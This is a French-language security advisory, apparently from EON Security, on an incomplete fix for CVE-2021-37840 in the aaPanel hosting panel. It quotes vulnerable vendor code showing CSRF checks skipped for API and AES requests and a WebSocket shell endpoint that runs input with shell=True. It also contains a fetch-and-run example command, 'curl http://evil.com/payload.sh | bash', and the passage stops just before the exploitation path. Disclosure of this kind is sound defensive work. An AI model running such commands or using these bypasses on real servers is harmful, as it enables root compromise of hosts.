
aaPanel WebSocket CSRF Bypass menant à RCE (Correction incomplète pour CVE-2021-37840)
Un correctif incomplet pour CVE-2021-37840 expose encore 3,6 millions de serveurs à une RCE root, 5 ans plus tard
Découvert par : EON Security
CVE : Attribution en attente
CVSS : 8.8 (Élevé) — AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H
Affecté : Versions aaPanel 6.8.12 à 7.65.0 (toutes les versions depuis le correctif de 2021)
Base installée : Plus de 3,6 millions de serveurs
En 2021, une vulnérabilité de Cross-Site WebSocket Hijacking (CVE-2021-37840) a été divulguée dans aaPanel, un panneau de contrôle d'hébergement gratuit fonctionnant sur plus de 3,6 millions de serveurs. Le fournisseur a ajouté une vérification de jeton CSRF pour la "corriger".
Le correctif était architecturalement erroné.
Au lieu de rejeter les connexions WebSocket non authentifiées au niveau HTTP (renvoyant 401), le correctif laisse passer toutes les connexions (renvoie 101 Switching Protocols) et vérifie uniquement l'authentification à l'intérieur du gestionnaire — après que la WebSocket soit déjà établie. La vérification CSRF qu'ils ont ajoutée peut être contournée de plusieurs façons.
EON Security a découvert que, 5 ans plus tard, toutes les versions d'aaPanel sont encore vulnérables à la même classe d'attaque.
Ce n'est que le 10e CVE jamais attribué à aaPanel en plus de 6 ans d'existence.
Si vous utilisez aaPanel, voici ce qu'un attaquant peut vous faire :
Scénario 1 : Un admin clique sur un mauvais lien
curl http://evil.com/payload.sh | bash — cette commande s'exécute en tant que root sur votre serveurUn seul clic suffit. Un clic malencontreux et l'attaquant possède tout.
Scénario 2 : Fuite d'une clé API
C'est le problème le plus important. La protection CSRF ne s'applique pas du tout aux requêtes authentifiées par API. Elle a été conçue pour vérifier les connexions basées sur le navigateur, mais le chemin de code pour l'accès API la contourne complètement.
Dans les deux cas, 3,6 millions de serveurs sont affectés. Toutes les versions depuis 2021.
g.api_request=True (requêtes authentifiées par API) et g.is_aes=True (requêtes chiffrées AES) ignorent complètement la vérification/sock_shell exécute des commandes arbitraires — subprocess.Popen(cmd + " 2>&1", shell=True)/webssh accepte des identifiants SSH fournis par l'attaquant — connexion à n'importe quel hôte SSHTous les points de terminaison WebSocket renvoient HTTP 101 Switching Protocols avant toute vérification d'authentification. La vérification d'auth comm.local() s'exécute à l'intérieur du gestionnaire, après que la mise à niveau WebSocket soit déjà terminée :
@sockets.route('/sock_shell')
def sock_shell(ws):
comReturn = comm.local() # ← Vérification d'auth APRÈS le 101
if comReturn:
ws.send(str(comReturn))
return
Points de terminaison concernés :
/webssh (proxy terminal SSH)/sock_shell (exécution directe de commandes)/ws_panel (gestion du panneau)/ws_home (tableau de bord)/ws_project (gestion de projet)/ws_model (gestion de modèle)/workorder_client (système de tickets)/v2/* variantes de tous les ci-dessusLa fonction check_csrf_websocket() est conçue pour empêcher le Cross-Site WebSocket Hijacking :
def check_csrf_websocket(ws, args):
if g.is_aes: return True # ← Contournement : le mode AES ignore la vérification
if g.api_request: return True # ← Contournement : les requêtes API ignorent la vérification
if public.is_debug(): return True
is_success = True
if not 'x-http-token' in args:
is_success = False
if is_success:
if public.get_csrf_sess_html_token_value() != args['x-http-token']:
is_success = False
if not is_success:
ws.send('token error')
return False
return True
Deux conditions de contournement dures existent :
g.api_request : Quand True (défini lors de l'authentification par clé API), la vérification CSRF est entièrement ignorée. Toute session WebSocket authentifiée par API contourne cette protection.g.is_aes : Quand True (défini lors des requêtes API chiffrées AES), la vérification CSRF est également ignorée.La comparaison de token (get_csrf_sess_html_token_value()) renvoie session.get('request_token_head', ""). Dans les sessions où cette valeur n'est pas encore initialisée, un x-http-token vide passe la vérification.
Le point de terminaison /sock_shell passe les chaînes fournies par l'attaquant directement à subprocess.Popen avec shell=True :
def sock_recv(cmdstring, ws):
p = subprocess.Popen(cmdstring + " 2>&1",
close_fds=True,
shell=True, # ← Exécution de commande arbitraire
stdout=subprocess.PIPE,
stderr=subprocess.PIPE)
Chaque message reçu sur la WebSocket est exécuté comme une commande shell. La sortie est renvoyée en flux via WebSocket. Comme aaPanel s'exécute en tant que root, il s'agit d'une compromission complète du système.
Le point de terminaison /webssh accepte les paramètres de connexion SSH fournis par l'attaquant à partir du premier message WebSocket :
ssh_info['host'] = get['host'].strip()
ssh_info['port'] = int(get['port'])
ssh_info['username'] = get['username'].strip()
ssh_info['password'] = get['password'].strip()
Si l'hôte est 127.0.0.1 ou localhost, le gestionnaire vérifie la base de données pour les identifiants sauvegardés, ou utilise ceux fournis par l'attaquant.
La voie d'exploitation principale est le CSWSH (Cross-Site WebSocket Hijacking) nécessitant une interaction utilisateur :